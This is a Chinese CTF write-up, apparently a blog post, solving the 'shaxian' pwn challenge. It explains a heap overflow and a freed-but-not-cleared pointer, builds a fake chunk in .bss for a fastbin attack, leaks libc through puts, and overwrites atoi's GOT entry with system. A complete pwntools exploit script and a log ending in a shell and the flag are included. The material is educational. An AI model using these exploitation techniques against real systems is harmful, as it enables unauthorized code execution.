攻防世界-PWN-shaxian-堆溢出与FastbinAttack

解题思路

保护机制

(ctf_pwn) root@u1604:/home/u1604/shaxian# readelf -h shaxian 
ELF Header:
  Magic:   7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00 
  Class:                             ELF32
  Data:                              2's complement, little endian
  Version:                           1 (current)
  OS/ABI:                            UNIX - System V
  ABI Version:                       0
  Type:                              EXEC (Executable file)
  Machine:                           Intel 80386
  Version:                           0x1
  Entry point address:               0x8048560
  Start of program headers:          52 (bytes into file)
  Start of section headers:          8584 (bytes into file)
  Flags:                             0x0
  Size of this header:               52 (bytes)
  Size of program headers:           32 (bytes)
  Number of program headers:         9
  Size of section headers:           40 (bytes)
  Number of section headers:         28
  Section header string table index: 27
(ctf_pwn) root@u1604:/home/u1604/shaxian# checksec shaxian 
[*] '/home/u1604/shaxian/shaxian'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

漏洞利用分析

通过逆向分析发现,在点菜的过程中存在堆溢出漏洞,如下所示:

int DianCai()
{
  int *v0; // ebx
  int v2; // [esp+1Ch] [ebp-Ch]

  v2 = pointToHeap;
  puts("CHI SHEN ME?");
  puts("1.Banmian");
  puts("2.Bianrou");
  puts("3.Qingtangmian");
  puts("4.Jianbao");
  puts("5.Jianjiao");
  pointToHeap = (int)malloc(0x28u);    // 初始化堆空间的时候,大小是0x28,堆块最多写入0x2c

  if ( !pointToHeap )
    return puts("Error");
  *(_DWORD *)(pointToHeap + 0x24) = v2;
  get_input1(0, pointToHeap + 4, 0x3C, '\n');  // 此处输入菜品的时候可以输入0x3c个字节的数据
  puts("How many?");
  v0 = (int *)pointToHeap;
  *v0 = get_input();
  puts("Add to GOUWUCHE");
  return GeShu++ + 1;
}

堆空间的溢出,分配的堆块只有0x24(实际大小0x28,最多写到0x2c),但是输入值可以写到0x3c

# 覆盖前
pwndbg> vis

0x804c000       0x00000000      0x00000031      ....1...
0x804c008       0x00000000      0x00000000      ........
0x804c010       0x00000000      0x00000000      ........
0x804c018       0x00000000      0x00000000      ........
0x804c020       0x00000000      0x00000000      ........
0x804c028       0x00000000      0x00000000      ........
0x804c030       0x00000000      0x00020fd1      ........         <-- Top chunk

# 覆盖后
pwndbg> vis

0x804c000       0x00000000      0x00000031      ....1...
0x804c008       0x00000000      0x61616161      ....aaaa
0x804c010       0x61616161      0x61616161      aaaaaaaa
0x804c018       0x61616161      0x61616161      aaaaaaaa
0x804c020       0x61616161      0x61616161      aaaaaaaa
0x804c028       0x61616161      0x61616161      aaaaaaaa
0x804c030       0x61616161      0x61616161      aaaaaaaa         <-- Top chunk
pwndbg>

由于未开启地址随机化,程序关键位置指针和静态分析的是一致的,简单梳理一下程序的数据相关的结构体

始终指向最后点的那个菜的堆块的指针

.bss:0804B1C0 pointToHeap     dd ?                    ; DATA XREF: DianCai+7↑r
.bss:0804B1C0                                         ; DianCai+63↑w ...
.bss:0804B1C4                 align 20h

存储点菜信息的一个个堆块

pwndbg> vis

0x804c000       0x00000000      0x00000031      ....1...  <- chunk0
0x804c008       0x00000010      0x00000031      ....1...
               单个菜品的个数     点了什么菜的编号
0x804c010       0x00000000      0x00000000      ........
0x804c018       0x00000000      0x00000000      ........
0x804c020       0x00000000      0x00000000      ........
0x804c028       0x00000000      0x00000000      ........
                                记录上一个菜品堆块的指针(这里是第一个,所以没有前一个)
0x804c030       0x00000000      0x00000031      ....1...  <- chunk1
0x804c038       0x00000010      0x00000031      ....1...
               单个菜品的个数     点了什么菜的编号
0x804c040       0x00000000      0x00000000      ........
0x804c048       0x00000000      0x00000000      ........
0x804c050       0x00000000      0x00000000      ........
0x804c058       0x00000000      0x0804c008      ........
                                记录前一个菜的指针
0x804c060       0x00000000      0x00020fa1      ........         <-- Top chunk
pwndbg>

上面的堆块管理,组成了一个链表,后一个菜品,记录前一个菜品的位置,这个是shaxian程序里面自己实现的一套堆块索引的机制

通过查看堆块的信息,发现堆块释放后是属于fastbin(0x30)

通过分析还发现在提交菜品的过程中释放了堆块,存在以下漏洞

int TiJiaoCaiDan()
{
  void *ptr; // ST1C_4
  _DWORD *v2; // [esp+18h] [ebp-10h]

  v2 = (_DWORD *)pointToHeap;
  if ( !GeShu )
    return puts("DIANCAI first");
  while ( v2 )
  {
    sub_8048999(v2);
    ptr = v2;
    v2 = (_DWORD *)v2[9];
    free(ptr);     // free后没有清空指针
  }
  return puts("Your order has been submitted!");
}

结合上述的两个漏洞和数据的组织规则,学习大佬的利用姿势,结合个人理解,梳理漏洞利用的方法:

通过功能4,回顾点菜信息的时候可以打印堆块中的点菜个数和点菜菜品信息,由于存在溢出漏洞,可以利用溢出,覆盖下一个堆块的“个数”信息或者“菜品”信息,然后回顾一下,在展示的时候我们就可以泄漏出libc函数的地址,进而计算出libc加载的基地址,再求出system函数的地址。

由于保护机制未限制got表的修改,所以利用上面泄漏出来的system函数地址,劫持某个函数,将其got表覆盖指向system函数,但是这个题目中,无法单个free某一个堆块,功能2在提交的时候会全部释放,且放入了fastbin中,也不会合并,再次申请的时候还是原来的顺序,但是我们程序中有一段地址空间,刚好可以用来构造

.bss:0804B0C0 PhoneNum        db 100h dup(?)          ; DATA XREF: AddresPhone+52↑o
.bss:0804B0C0                                         ; HuiGu+8A↑o
.bss:0804B1C0 pointToHeap     dd ?                    ; DATA XREF: DianCai+7↑r
.bss:0804B1C0                                         ; DianCai+63↑w ...
.bss:0804B1C4                 align 20h

在最开始的电话号码的尾部刚好就是我们的关键指针,电话号码的长度最长是0x100,恰好到pointToHeap之前,所以我们可以构造一个假的堆块,将其链入到fastbin中,再次申请的时候,申请堆块到0804B1C0附近,这样能够控制向其他位置写数据,可使用FastbinAttack,修改got表数据,劫持函数,要是用FastbinAttack方法,前面构造fake chunk的布置就是关键的,布局的payload如下

payload = b"a"*(0x100-0x10) + p32(0) + p32(0x31)

相当于是在pointToHeap之前写了一个chunk的头部,如果没有这个头部,在malloc的时候会报错,这与fastbin的检测机制有关.至于此处的电话号码区域的最后减去0x10大小,是因为在单个菜品堆块中,先写入的是菜品名称,在靠后的位置上,后写入的菜品个数在靠前的位置上,只减去0x8大小的话无法在下一步利用写入菜品个数的步骤中,使得pointToHeap指向got表函数,这些细节在具体调试的时候会体现出来

此题还有一个非常巧妙的地方,就是一般是劫持了某个函数之后,在某个可控或者已知的位置构造好/bin/sh字符串,最终实现执行system("/bin/sh")拿到shell,但是这个题能够构造的地方只有pointToHeap附近这里一处,且只能利用一次,并且无法在got表附近构造堆块,需要利用源程序中的下面的片段修改got表中的数据

  *(_DWORD *)(pointToHeap + 0x24) = v2;
  get_input1(0, pointToHeap + 4, 0x3C, '\n');
  puts("How many?");
  v0 = (int *)pointToHeap;
  *v0 = get_input();

对应利用脚本中的如下片段

    payload = b"a"*4 + p32(elf.got["atoi"])
    diancai(payload,str(system_addr-0x100000000))

构造完成后,内存状态如下

pwndbg> x/20xw 0x0804B1C0-0x10
0x804b1b0:      0x00000000      0x00000031      0x00000000      0x61616161
0x804b1c0:      0x0804b038      0x00000000      0x00000000      0x00000000
                pointToHeap指针
0x804b1d0:      0x00000000      0x00000000      0x00000000      0x0804c038
0x804b1e0:      0x74736574      0x00000000      0x00000000      0x00000000
0x804b1f0:      0x00000000      0x00000000      0x00000000      0x00000000
pwndbg> x/20xw 0x0804b038
0x804b038 <atoi@got.plt>:       0xf7e4cdb0      0x00000000      0x00000000      0x00000000
0x804b048:      0x00000000      0x00000000      0x00000000      0x00000000
0x804b058:      0x00000000      0x00000000      0xf7fc5cc0      0xf7fc55a0
0x804b068:      0x00000000      0x00000000      0x00000000      0x00000000
0x804b078:      0x00000000      0x00000000      0xf7fc5d60      0x00000000
pwndbg>

可以发现此处通过点菜输入菜品的时候,从0x804b1bc处开始,之后修改了pointToHeap指针,使其指向atoi函数的got表,输入“菜品个数”的时候刚好写入的就是pointToHeap所指向的位置,就是atoi函数的got表,只不过输入的数字变成了整型数,所以需要str(system_addr-0x100000000)的转换

完成上述巧妙构造之后,再次执行功能选择的时候,atoi函数用来转换功能编号,但是他已经被劫持成为了system函数,只需要直接输入/bin/sh字符串即可获得shell函数

攻击脚本

from pwn import *
from LibcSearcher import *
import os

context.log_level='debug'
context.terminal = ['tmux', 'splitw', '-h', '-F' '#{pane_pid}', '-P']

elf_path  = 'shaxian'

arch = '32'
# libc_v = '2.27'

# ld_path   = '/glibc/' + libc_v + '/' + arch + '/lib/ld-linux-x86-64.so.2'
# libs_path = '/glibc/' + libc_v + '/' + arch + '/lib'
# libc_path = '/glibc/' + libc_v + '/' + arch + '/lib/libc.so.6'
# libc_path = './libc.so.6'

# change ld path 
# change_ld_cmd = 'patchelf  --set-interpreter ' + ld_path +' ' + elf_path
# os.system(change_ld_cmd)

# remote server ip and port
server_ip = "0.0.0.0"
server_port = 0

# if local debug
LOCAL = 1
LIBC  = 0

r   =  lambda x : io.recv(x)
ra  =  lambda   : io.recvall()
rl  =  lambda   : io.recvline(keepends = True)
ru  =  lambda x : io.recvuntil(x, drop = True)
s   =  lambda x : io.send(x)
sl  =  lambda x : io.sendline(x)
sa  =  lambda x, y : io.sendafter(x, y)
sla =  lambda x, y : io.sendlineafter(x, y)
ia  =  lambda : io.interactive()
c   =  lambda : io.close()
li  =  lambda x : log.info('\x1b[01;38;5;214m' + x + '\x1b[0m')
lsi  =  lambda x : log.success('\x1b[01;40;32;214m' + x + '\x1b[0m')
#--------------------------func-----------------------------
def db():
    if(LOCAL):
        gdb.attach(io, "b *0x8048998\nb *0x0804894E\nb *0x080489F9")


def diancai(caipin, num):
    sla("choose:", "1")
    sla("5.Jianjiao", caipin)
    sla("How many?", num)

def submitMenu():
    sla("choose:", "2")

def taiTou():
    sla("choose:", "3")
    sla("Taitou:", "/bin/sh")

def huiGu():
    sla("choose:", "4")

#--------------------------exploit--------------------------



def exploit():
    heapPoint = 0x804B1C0
    li('exploit...')
    sla("Your Address:", "test")
    payload = b"a"*(0x100-0x10) + p32(0) + p32(0x31)
    sla("Your Phone number:", payload)
    db()
    
    diancai("1","16")
    diancai("1","16")
    diancai("1","16")
    submitMenu()
    lsi("puts got --> "+hex(elf.got["puts"]))
    payload = b"a"*0x20 + p32(elf.got["puts"]-4)
    payload += p32(0) + p32(0x31) + p32(heapPoint-0x10)
    diancai(payload, "16")
    huiGu()
    ru(b"16\x0a")
    puts_addr = u32(r(4))
    lsi("Get puts address -> "+hex(puts_addr))
    obj = LibcSearcher("puts", puts_addr)
    libcbase = puts_addr - obj.dump("puts")
    system_addr = libcbase + obj.dump("system")
    lsi("Get system address -> "+ hex(system_addr))
    atoi_addr = libcbase + obj.dump("atoi")
    lsi("Get atoi address -> "+ hex(atoi_addr))

    diancai("1","16")

    payload = b"a"*4 + p32(elf.got["atoi"])
    diancai(payload,str(system_addr-0x100000000))
    # diancai("1","16")
    sla("choose:", "/bin/sh")


def finish():
    ia()
    c()

#--------------------------main-----------------------------
if __name__ == '__main__':
    
    if LOCAL:
        elf = ELF(elf_path)
        if LIBC:
            libc = ELF(libc_path)
            io = elf.process(env = {"LD_LIBRARY_PATH" : libs_path, "LD_PRELOAD" : libc_path} )
        else:
            # io = elf.process(env = {"LD_LIBRARY_PATH" : libs_path} )
            io = elf.process()
    
    else:
        elf = ELF(elf_path)
        io = remote(server_ip, server_port)

    exploit()
    finish()

执行情况

远程shell

[DEBUG] Sent 0x9 bytes:
    00000000  61 61 61 61  38 b0 04 08  0a                        │aaaa│8···│·│
    00000009
[DEBUG] Received 0x9 bytes:
    b'How many?'
[DEBUG] Sent 0xb bytes:
    b'-136320704\n'
[DEBUG] Received 0x1 bytes:
    b'\n'
[DEBUG] Received 0x54 bytes:
    b'Add to GOUWUCHE\n'
    b'1.WO YAO DIAN CAI\n'
    b'2.Submit\n'
    b'3.I want Receipt\n'
    b'4.Review\n'
    b'5.Exit\n'
    b'choose:\n'
[DEBUG] Sent 0x8 bytes:
    b'/bin/sh\n'
[*] Switching to interactive mode

$ ls
[DEBUG] Sent 0x3 bytes:
    b'ls\n'
[DEBUG] Received 0x25 bytes:
    b'bin\n'
    b'dev\n'
    b'flag\n'
    b'lib\n'
    b'lib32\n'
    b'lib64\n'
    b'shaxian\n'
bin
dev
flag
lib
lib32
lib64
shaxian
$ cat flag
[DEBUG] Sent 0x9 bytes:
    b'cat flag\n'
[DEBUG] Received 0x2d bytes:
    b'cyberpeace{6a194a39a4267205e1eac8461f60ab80}\n'
cyberpeace{6a194a39a4267205e1eac8461f60ab80}
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值